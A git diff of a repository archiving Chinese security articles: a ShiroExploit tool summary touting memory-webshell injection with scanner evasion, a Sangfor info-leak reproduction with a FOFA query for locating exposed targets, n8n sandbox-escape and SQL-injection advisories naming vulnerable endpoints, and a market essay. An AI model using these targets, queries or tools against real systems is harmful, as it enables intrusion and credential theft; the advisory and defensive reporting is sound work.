+![65ecad902c9caaaa022f7941a5225ad2.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8Xlw5J834UhUicPvVmHzsiaSqFB3gkxVgc0Mq6MFDmsvDbt9CvDWYpgRZYA/640?from=appmsg "null") + +65ecad902c9caaaa022f7941a5225ad2.png +## 总结 + +项目地址：https://github.com/FightingLzn9/ShiroExploit + +基本概述如下： + +1、区分 ShiroAttack2，采用分块传输内存马，每块大小不超过 4000。 + +2、可打 JDK 高版本的 shiro，确保有 key、有 gadget 就能 rce。 + +3、依托 JavaChains 动态生成 gadget，实现多条利用链，如 CB、CC、Fastjson、Jackson。 + +4、通过魔改 MemshellParty 的内存马模板，使其回显马通信加密，去除一些典型的特征。 + +5、借助 JMG 的注入器，加以魔改，实现无侵入性，同一个容器可同时兼容多种类型的内存马。 + +6、对内存马和注入器类名进行随机化和 Lambda 化处理，规避内存马主动扫描设备的检测。 + +7、可以更改目标配置，如改 Key、改 TomcatHeaderMaxSize。 + +8、采用 URLDNS 链和反序列化炸弹的方式来探测指定类实现利用链的探测。 + +9、缺点是流量相对大一些。 + +  + + + +欢迎加入知识星球，星球内容主要有： + +1、公众号文章备份、工具分享。 + +2、常见问题的答疑、解决方案汇总在知识星球，作为便于搜索的知识库。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/a1BOUvqnbriac4rcXic5DYPcicY8wjnZribzlTicb8LYBx4m54uoUx7eUbvaa04H7pa8MulbaZdlcEYEMRN0NwQ41bw/640?wx_fmt=jpeg "") + + + diff --git a/doc/2026-01/漏洞复现 深信服运维安全管理系统 get_all_application_release 敏感信息泄露漏洞.md b/doc/2026-01/漏洞复现 深信服运维安全管理系统 get_all_application_release 敏感信息泄露漏洞.md new file mode 100644 index 00000000..5f93a2a0 --- /dev/null +++ b/doc/2026-01/漏洞复现 深信服运维安全管理系统 get_all_application_release 敏感信息泄露漏洞.md @@ -0,0 +1,122 @@ +# 漏洞复现 | 深信服运维安全管理系统 get_all_application_release 敏感信息泄露漏洞 + 实战安全研究 2026-01-23 01:03 + +**免责声明** +
本文仅用于技术学习和安全研究，请勿使用本文所提供的内容及相关技术从事非法活动，由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果，均由使用者本人承担，所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权，请私信我们！我们会立即删除并致歉。谢谢！
+1 + +**漏洞描述** + + + +深信服运维安全管理系统 get_all_application_release敏感信息泄露接口在未进行充分身份验证或权限校验的情况下，返回了包含敏感信息的响应，导致攻击者可能通过该接口获取到系统内部的敏感数据。 + +2 + +**影响版本** + + + +深信服运维安全管理系统 + +3 + +**fofa语法** + + + +fofa语法 +``` +body="/fort/login" || header="FORTSESSIONID" +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/zBdps5HcBF0jh7ibfMcx8rBxdSicicjXy6drxyuJbia7ajzSBQFR8l8GYpRbliaFEAmeoqiaaMBiaobV8Uqdk0wEPSv1g/640?wx_fmt=png&from=appmsg "") + + +4 + +**漏洞复现** + + + +获取账号密码信息 + +![](https://mmbiz.qpic.cn/mmbiz_png/zBdps5HcBF0jh7ibfMcx8rBxdSicicjXy6dQ5djk5ZGDbovOAZKLN1SiaQOnBxmMMVshYMs4Bkwk4U5GsJPTEU4d7w/640?wx_fmt=png&from=appmsg "") + + +5 + +**检测POC** + + + +nuclei + +![](https://mmbiz.qpic.cn/mmbiz_png/zBdps5HcBF0jh7ibfMcx8rBxdSicicjXy6dFrqnDgRxDQUZAyBicp1eEEo1MrpxfDL6vuz6hdfCWhQOkFFuWZqlNkQ/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/mmbiz_png/zBdps5HcBF0jh7ibfMcx8rBxdSicicjXy6dgfAwlnxiaOmvqWjpOglEeK4neXjjpT5iaF2QWVNFeAxEjbENHdibET0icA/640?wx_fmt=png&from=appmsg "") + + +6 + +**漏洞修复** + + +1、建议联系厂商打补丁或升级版本。 + +2、增加Web应用防火墙防护。 + +3、关闭互联网暴露面或接口设置访问权限。 + +7 + +**内部圈子** + + +**现在已更新POC数量 1700+（中危以上）** + + +🔥 **1day/Nday 漏洞实战圈上线** + 🔥 + +还在到处找公开漏洞 POC？ + +这里专注整合全网1day/Nday漏洞POC和复现，一站式解决你的痛点！ + +🔍  +圈子福利 + +✅ 整合全网 1day/Nday 漏洞POC，附带复现步骤，新手也能快速上手 + +✅ 每周更新 10-15 个POC测试脚本，经过实测验证，到手就能用 + +✅ 完美适配 Nuclei/Afrog 扫描工具，脚本无需额外修改，即拿即用 + +✅ 重磅福利：免登录免费 FOFA 查询，无需账号也能高效资产测绘 + +✅ 专属权益：提供指纹识别库，指纹库持续更新 + +💡  +适合对象 + +渗透测试🔹攻防演练🔹安全运维🔹企业自查 +🔹SRC漏洞挖掘 + +⚠️  +重要提醒 + +仅限授权范围内的合法安全测试，严禁用于未授权攻击行为！ + +本服务为虚拟资源服务，一经购买概不退款，请按需谨慎购买！ + +现在加入圈子价格是59.9元（ +交个朋友啦 +），后面将调整涨价啦。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zBdps5HcBF0WahagBSLib4DOPBsv4ic1O9D9nzrANOgwluaGYaL3m85kOUOUzkvMKfFX9144deoHicd5OOGoU825g/640?wx_fmt=jpeg&from=appmsg "") + + + + diff --git a/doc/2026-01/漏洞管理已死，暴露面管理才是王道！.md b/doc/2026-01/漏洞管理已死，暴露面管理才是王道！.md new file mode 100644 index 00000000..05277cde --- /dev/null +++ b/doc/2026-01/漏洞管理已死，暴露面管理才是王道！.md @@ -0,0 +1,592 @@ +# 漏洞管理已死，暴露面管理才是王道！ +原创 MEHUL + MEHUL 安全喵喵站 2026-01-23 00:31 + +![](https://mmbiz.qpic.cn/mmbiz_png/ua7rPK0FKpNib3uticBjibCI4STt2CuWibnHExtqCjSjKibcOWZDNxO8ukT3HGzFFsWsF4GviaKAYFMTD8gkHFahELvQ/640?from=appmsg "") + + + + +McAfee Vulnerability Manager +、 +BeyondTrust + Enterprise Vulnerability Manager +，如今连 + Cisco Vulnerability Management  +都宣布放弃。又一位倒下。 + + +漏洞管理（ +VM +）的历史，是厂商们试图进入这个领域却最终折戟的坟场 +—— +表面看起来容易，实际上却是最难啃的一块 +“ +硬骨头 +” +。 + + +即便经过 + 25  +年， +“ +三巨头 +” Tenable +、 +Qualys  +和 + Rapid7  +依旧稳坐江湖。相比之下，无论是 + EDR +、身份管理还是其他类别，都有五家甚至更多的硬核厂商争夺市场。在漏洞管理领域，虽然很多厂商声称参与竞争（比如 + MSFT +、 +CRWD +），大多数仍只是配角或打勾工具 +—— +缺乏真正的深度与广度 +。 + + +在本文中，我将探讨为什么这个类别看似容易却极难被颠覆，巨头的薄弱环节在哪里，以及为何要实现规模化增长，现在必须与行业最大的厂商或最新的玩家保持一致。 + + + +**为什么漏洞管理是最“看似容易却最难啃”的类别** + +漏洞管理（ +VM +）理论上看起来 + deceptively  +简单，但在实际执行中异常残酷。这个领域不是可以通过 +“ +最小可行产品（ +MVP +） +” +轻松走向顶端的类别 +。 + + +虽然创业公司和企业在边缘领域取得了一些成功，例如专注于漏洞优先级（ +Kenna Security  +做得不错）或补救编排（ +ServiceNow VR  +做得不错），但最终都会撞上天花板。要在这个领域称霸，你必须掌握另外两方面：漏洞签名（内容）以及用于检测漏洞的传感器或扫描器。没有这些，你永远只能依赖别人的遥测数据 +。 + + +Kenna–Cisco  +的警示故 +事 + + +Cisco  +在收购 + Kenna  +时犯的致命错误，是典型的 +“ +表面数字优先，实质不足 +” +的案例。我猜测他们通过商学院视角看收入和客户数量，认为产品是完整的 + VM  +解决方案。然而很快他们意识到， +Kenna  +缺乏自主的扫描引擎和签名库。手里拿到的，只是一个 + VM  +的包装方案，而不是完整的 + VM  +解决方案 +。 + + +为了让平台在规模上真正可用， +Cisco  +很可能面临两难选择： +- 要么与 +“ +三巨头 +” +传统厂商合作，获取它们的传感器 +—— +本质上是在付钱给竞争对手； + +- 要么从零开始建立二十五年的漏洞内容和传感器。 + +随着原 + Kenna  +团队离开，该产品最终成了一个 +“ +空壳 +” +，缺乏在复杂企业环境中竞争所需的深度技术能力。剩下的最佳选择，只能是 +止损撤退 +。 + + +为什么 +内容 +和传感器对漏洞管理至关重要 +？ + + +在大多数类别中， +“ +现代化 +” +是优势，但在漏洞管理（ +VM +）领域， +“ +古老 +” +反而是一种超能力。漏洞签名内容经过 + 25  +年累积，难以复制。 + + +为什么在今天仍重要？因为它不仅仅是数据库，更是 +机构记忆 +。 + + +深入观察任何大型企业、大学或政府机构， +“ +老系统 +” +总会存在。 + + +Windows 2000 +、 +Server 2008  +以及古老 + Unix  +架构往往承担着最关键、最不可替代的基础设施。这些组织无法退役这些资产，只能为终止支持的软件购买定制、高价的扩展安全更新（ +ESU +）。由于这些厂商存在时间久，它们自然支持所有 +“ +老古董 +” +系统及其衍生版本 +。 + + +遗留问题不仅限于老硬件或老软件。在容器与 +  +DevSecOps +  +的世界里，老旧漏洞库经常被 +“ +打包进 +” +现代镜像。一个全新的 + Kubernetes pod  +可能运行着十年前就存在漏洞的库。没有深厚、历史悠久的内容库，现代扫描器很容易漏掉这些明面上的 +“ +僵尸 +” +漏洞 +。 + + +你的 + VM  +工具必须拥有审计遗留系统、现代系统及介于两者之间所有资产所需的 +“ +长尾签名 +” +。否则，它可能提供 +虚假的安全感 +。 + + +我并不是说这是 + VM  +工具唯一的核心价值，但在处理大企业账户时，这些小细节至关重要 +。 + + +还有传感 +器 +。 + + +检测漏洞的方法在容器镜像和传统本地系统上完全不同。要做好这一点，厂商必须为每种形态配备专用传感器 +： +- 持续监控工作站的代 +理 + +- 针对 +“ +无法安装代理 +” +的老旧硬件的网络扫描 +器 + +- 云端短暂工作负载的侧扫或 + API  +传感 +器 + +如果你没有针对特定环境的传感器，就可能错过整类风险 +。 + + +真正的 + VM  +解决方案必须能够 +跨所有可能的攻击面准确评估风险 +。而要做到这一点，确实非常困难 +。 + + +漏洞管理中的 +“ +拆除重建 +” +异常艰 +难 + + +如果这还不够难，当已有厂商占据市场时，要赢得新客户也绝非易事 +。 + + +在企业安全领域，很少有事情比替换现有漏洞管理（ +VM +）厂商更痛苦。即便你的产品是市场上 +“ +最强 +” +的，也不仅仅是在与竞争对手较量，更是在对抗 +组织惯性 +—— +这才是最难的部分 +。 + + +除非工具在危机中彻底失效（如 + Log4Shell +）或产生极高的误报，导致有人工作受影响，否则企业通常不会更换 +。原因如下 +： + + +肌肉记忆。 +  +企业 + VM  +不仅仅是一个工具，而是一整套成熟流程。多年间，组织围绕漏洞报告、分级和交付 + IT  +修补建立了固定的工作流程。引入新厂商意味着可能打乱所有操作 +“ +肌肉记忆 +” +。 + + +数据差异。 + “ +拆除重建 +” +最大的障碍是报告差异。如果你在第一季度从厂商 + A  +切换到第二季度的厂商 + B +，数据会发生变化。在企业环境中，数字变化需要解释 +： +- 漏洞数量增加：管理层会问， +“ +我们之前一直不安全吗？为什么前一个工具漏掉了这些？ +” + +- 漏洞数量下降：修补团队会问， +“ +过去三年我们是否一直在追逐误报？浪费了多少工时？ +” + +无论如何，你都是输家。最好的办法是 +保持低调，忍受痛苦，等待危机，然后在时机成熟时出手 +。 + + +惯性是最强大的 +“ incumbents” +。在 + VM  +领域，最好的产品不一定能赢。 +已经集成进现有系统、需要变动最少的产品，通常才是赢家 +。 + + + +**漏洞管理厂商自身的漏洞** + +这是个刻意的双关：虽然漏洞管理（ +VM +）领域历来难以被颠覆，但现有厂商也远非高枕无忧。那种曾经是 +“ +超能力 +” +的古老优势，如今也开始成为负担。以下是当前威胁 + VM  +巨头的核心挑战 +。 + + +AI  +带来的签名民主 +化 + +几十年来， +VM  +厂商的竞争优势在于庞大且人工维护的签名库。 +AI  +正在改变这一格局。当漏洞签名创建与实时利用可以被自动化处理时，那 +“25  +年的领先优势 +” +开始失去光环。如果 + AI  +可以在几秒钟内分析补丁并生成检测脚本，那么曾经的专有签名库将变得像商品一样通用 +。 + + +AI  +生成代码的爆炸性增 +长 + +我们正进入 +“ +编程代理 +” +时代，数十亿行代码的生成速度已超越人类能力。传统 + VM  +工具是为追踪人类编写的软件而设计的。当非人类生成的软件数量呈指数级增长时，传统厂商如何维持对漏洞 +“ +长尾 +” +的覆盖？ + +非人类编写代码中的漏洞追踪规模，将彻底打破传统手工研究模式 +。 + + +传统架构 + vs AI  +原生架 +构 + +传统 + VM  +工具是确定性的，而未来可能需要 + AI  +驱动的概率启发式方法。它们可能需要从 +“ +通用模型 +” +转向 +“ +个性化模型 +” +，为客户提供定制化结果 +。 + + +阿喀琉斯之踵 +：从僵硬、确定性的引擎过渡到灵活的 + AI +原生平台，并非一次简单更新，而是彻底重建 +。 + +结果胜于产出 +：传统产品日益臃肿、复杂。新一代用户会本能地选择更易用、能够提供实际结果（风险降低）的工具，而不仅仅是输出（例如 + 500  +页漏洞 + PDF  +报告） +。 + + +附加功能堆砌 + vs  +核心解决方 +案 + +或许最大的漏洞在于，许多 + VM  +厂商已经停止倾听客户需求。年度合同续签从战略合作，变成了 +“ +还能卖你什么？ +” +的推销会 +。 + + +典型对话示例 +： +- 客户： +“ +我的团队被手动工作淹没，你能解决这个特定的工作流问题吗？ +” + +- 厂商： +“ +我会记录这个功能需求。不过顺便问下，你看过我们最新的每年 + 1  +万美元的威胁情报附加模块？或者我们的 + AI  +外壳模块吗？ +” + +当厂商把 +“ +下一个新奇功能 +” +（ +SOAR +、专用 + AI  +模块等）放在修复核心用户体验之前，就会激起客户强烈挫败感。在一个惯性是客户离开的唯一阻力的市场，这种挫败感就是一个定时炸弹 +。 + + +**战略出路：被收购或彻底重建** + +对于 +“ +三巨头 +” +和其他传统 + VM  +厂商来说，机会窗口正在缩小。随着 + AI  +将他们的历史优势商品化，未来只有两条可持续路径：要么融入庞大的数据生态系统，要么进行彻底的 + AI  +原生转型 +。 + + +超大规模出路：玩更大的棋 +局 + +对于传统厂商而言，最合理的 +“ +出路 +” +是被超大规模厂商（ +AWS +、 +Azure +、 +Google Cloud +）或数据智能巨头（如 + Databricks +）收购。 + +2025  +年末， +Databricks  +正式推出了面向网络安全的数据智能平台。这些数据巨头并不想从零开始建立 + 25  +年的 +“ +老古董 +” +签名库，但它们拥有 + AI  +基础设施，能够以独立厂商无法匹敌的规模处理遥测数据 +。 + +通过与超大规模厂商合作， +VM  +厂商可以将自身的 +“ +机构记忆 +” +转化为更大自动化安全体系中的一项功能。今年 + Google  +收购了 + Wiz +，以加强其网络安全解决方案。可见市场兴趣确实存在 +。 + + +防御性转型：收购以求生 +存 + +如果选择保持独立，现有厂商必须积极收购或与 + AI  +原生初创公司合作，以增强防御能力。 +ServiceNow  +最近以 + 77.5  +亿美元收购了 + Armis +。 + + +在我看来，他们本可以直接收购 +“ +三巨头 +” +之一，成本大约 + 80  +亿美元，任何一个都乐意出售 +。 + +将传统产品转型为 + AI  +原生的核心产品，不只是品牌更新或发布新闻稿那么简单；它需要 +资金投入、耐心，以及深厚的 + AI  +原生技术团队和架构支撑 +。 + + +**最后** + +窗口正在关闭。随着 + AI  +原生的攻击工具以 +“ +机器速度 +” +开始利用漏洞，仍依赖人工编写签名的传统扫描器将成为负担。 + + +市场正在从 +“ +漏洞管理 +” +转向 +“ +持续暴露管理 +” +。 + + +问题不在于这个类别是否会改变，而是谁将有勇气第一个迈入这个新时代 +。 + + +原文链接： + +https://mehulrevankar.substack.com/p/cisco-end-of-lifes-kenna-security + + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/ua7rPK0FKpPTqqIciaGmnictQAicA8n5jkj22VVowYjHP2wnyrrpnmDGKhvKVIibcPICxPgiaL9QIn5icOYQaf7paCDw/640?wx_fmt=jpeg&from=appmsg&wxfrom=5&wx_lazy=1&randomid=kx5jkbt2&tp=webp#imgIndex=1 "") + + +**关注「安全喵喵站」，后台回复关键词【报告】，****即可获取网安行业研究报告精彩内容合集：** + +**** +**《网安供应链厂商成分分析及国产化替代指南》，****《网安新兴赛道厂商速查指南》，****《2023中国威胁情报订阅市场分析报告》，****《网安初创天使投资态势报告》，《全球网络安全创业加速器调研报告》，****《网安创业生态图》，****《網安新興賽道廠商速查指南·港澳版》，****《台湾资安市场地图》，《全球网络安全全景图》，《全球独角兽俱乐部行业全景图》，《全球网络安全创业生态图》** + +**** +**话题讨论，内容投稿，报告沟通，商务合作等，****请联系喵喵 mew@z1-sec.com。** + + + diff --git a/doc/2026-01/漏洞预警 n8n沙箱逃逸漏洞.md b/doc/2026-01/漏洞预警 n8n沙箱逃逸漏洞.md new file mode 100644 index 00000000..8f420510 --- /dev/null +++ b/doc/2026-01/漏洞预警 n8n沙箱逃逸漏洞.md @@ -0,0 +1,48 @@ +# 漏洞预警 | n8n沙箱逃逸漏洞 +浅安 + 浅安 浅安安全 2026-01-23 00:01 + +**0x00 漏洞编号** +- # CVE-2026-0863 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +n8n是一个开源的工作流自动化工具，旨在帮助用户通过图形化界面设计和自动化各种任务。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SXegCZMibyIR1YelBVxaA603bUnpUvAtyaDAs19UkmMRXjPEWib9mWjTJuZDWkd5UzaDWBkOpG3iczcw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=0 "") + +**0x03 漏洞详情** + +**CVE-2026-0863** + +**漏洞类型：** +沙箱 +逃逸 + +**影响：** +任意代码执行 + +**简述：** +n8n中Python任务执行器存在沙箱逃逸漏洞，攻击者可利用字符串格式化与异常处理机制，绕过n8n对Python代码块所实施的沙箱限制，进而执行不受限制的任意Python代码。该漏洞可被具备基础权限的已认证用户触发，通过Code节点在“Internal”执行模式下直接在宿主系统上实现任意代码执行，最终可能导致n8n实例被完全接管。 + +**0x04 影响版本** +- n8n < 1.123.14 + +- 2.0.0 <= n8n < 2.3.5 + +- 2.4.0 <= n8n < 2.4.2 + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://n8n.io/ + + + diff --git a/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md b/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md index 9f571e7a..cb761942 100644 --- a/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md +++ b/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 孚盟云SQL注入漏洞 浅安 - 浅安 浅安安全 2026-01-22 00:01 + 浅安 浅安安全 2026-01-23 00:01 **0x00 漏洞编号** - # 暂无 @@ -25,8 +25,8 @@ SQL注入 **简述：** 孚盟云的 -/m/Dingding/Ajax/AjaxBusinessPriceActiveReports.ashx -接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。 +/m/Dingding/Ajax/AjaxCustomizeReport.ashx +接口存在SQL注入漏洞，攻击者可通过伪造cookie获取系统访问权限，进而该漏洞获取数据库敏感信息。 **0x04 影响版本** - 孚盟云 diff --git a/doc/2026-01/漏洞预警 金和OA SQL注入漏洞.md b/doc/2026-01/漏洞预警 金和OA SQL注入漏洞.md index c3abaacf..ffeb96c6 100644 --- a/doc/2026-01/漏洞预警 金和OA SQL注入漏洞.md +++ b/doc/2026-01/漏洞预警 金和OA SQL注入漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 金和OA SQL注入漏洞 浅安 - 浅安 浅安安全 2026-01-22 00:01 + 浅安 浅安安全 2026-01-23 00:01 **0x00 漏洞编号** - # 暂无 @@ -25,8 +25,7 @@ SQL注入 **简述：** 金和OA协同办公管理系统C6软件的 -/c6/JHSoft.Web.FlowStat/HolidayEdit.aspx/和 -/c6/Jhsoft.Web.govset/Add_Collection.aspx/ +/c6/Jhsoft.Web.govsetaip/GovDel.aspx/ 接口存在SQL注入漏洞， 未经身份验证的 攻击者可以通过该漏洞执行任意SQL语句，从而获取数据库敏感信息。 diff --git a/doc/2026-01/研究显示：GPT-5.2可稳定量产零日漏洞利用.md b/doc/2026-01/研究显示：GPT-5.2可稳定量产零日漏洞利用.md index d15bb2ea..8cd3a88a 100644 --- a/doc/2026-01/研究显示：GPT-5.2可稳定量产零日漏洞利用.md +++ b/doc/2026-01/研究显示：GPT-5.2可稳定量产零日漏洞利用.md @@ -1,5 +1,8 @@ # 研究显示：GPT-5.2可稳定量产零日漏洞利用 - 安全客 2026-01-21 03:13 + 黑白之道 2026-01-23 01:18 + +![](https://mmbiz.qpic.cn/mmbiz_gif/3xxicXNlTXLicwgPqvK8QgwnCr09iaSllrsXJLMkThiaHibEntZKkJiaicEd4ibWQxyn3gtAWbyGqtHVb0qqsHFC9jW3oQ/640?wx_fmt=gif "") + 一项最新研究正引发全球网络安全圈的广泛关注：先进大模型已能在**几乎无人干预** 的前提下，**稳定、规模化生成零日漏洞利用代码** @@ -78,25 +81,31 @@ Sean Heelan在研究中直言，**漏洞利用开发天然适合AI自动化** 消息来源：gbhackers -推荐阅读 +> **文章来源 ：安全客** + + +**精彩推荐** - -

01

｜AI基础设施成自动化攻击新靶标

02

｜黑吃黑！暗网犯罪论坛被黑客攻破

03

｜Promptware:新兴AI攻击威胁与五步杀伤链

+# 乘风破浪|华盟信安线下网络安全就业班招生中！ -**安全KER** +[](http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650575781&idx=2&sn=ea0334807d87faa0c2b30770b0fa710d&chksm=83bdf641b4ca7f5774129396e8e916645b7aa7e2e2744984d724ca0019e913b491107e1d6e29&scene=21#wechat_redirect) -安全KER致力于搭建国内安全人才学习、工具、淘金、资讯一体化开放平台，推动数字安全社区文化的普及推广与人才生态的链接融合。目前，安全KER已整合全国数千位白帽资源，联合南京、北京、广州、深圳、长沙、上海、郑州等十余座城市，与ISC、XCon、看雪SDC、Hacking Group等数个中大型品牌达成合作。 +# 【Web精英班·开班】HW加油站，快来充电！ -![](https://mmbiz.qpic.cn/sz_mmbiz_png/Ok4fxxCpBb4fn84CeJicpp1toTr8W74FQJzfFwClZqU9xZZPl97enicdWFjAic3dibCXY9jhb2hNDDUolo7IRNqRUg/640?wx_fmt=png&from=appmsg "") -![](https://mmbiz.qpic.cn/sz_mmbiz_png/Ok4fxxCpBb4fn84CeJicpp1toTr8W74FQ3gBRyEfNXasIOo1WNIIHuGm8vaEQQUKgJresGuuyG4ib0J3sBUIkDUA/640?wx_fmt=png&from=appmsg "") +‍[](http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650594891&idx=1&sn=b2c5659bb6bce6703f282e8acce3d7cb&chksm=83bdbbafb4ca32b9044716aec713576156968a5753fd3a3d6913951a8e2a7e968715adea1ddc&scene=21#wechat_redirect) -**注册安全KER社区** -**链接最新“圈子”动态** +‍ +# 始于猎艳，终于诈骗！带你了解“约炮”APP + +[](http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650575222&idx=1&sn=ce9ab9d633804f2a0862f1771172c26a&chksm=83bdf492b4ca7d843d508982b4550e289055c3181708d9f02bf3c797821cc1d0d8652a0d5535&scene=21#wechat_redirect) + +**‍** + diff --git a/doc/2026-01/针对若依系统nday的常见各种姿势利用.md b/doc/2026-01/针对若依系统nday的常见各种姿势利用.md index 8c2bde16..b75ed536 100644 --- a/doc/2026-01/针对若依系统nday的常见各种姿势利用.md +++ b/doc/2026-01/针对若依系统nday的常见各种姿势利用.md @@ -1,6 +1,5 @@ # 针对若依系统nday的常见各种姿势利用 -原创 神农Sec - 神农Sec 神农Sec 2026-01-22 04:08 + Say Sec 2026-01-23 01:02 扫码加圈子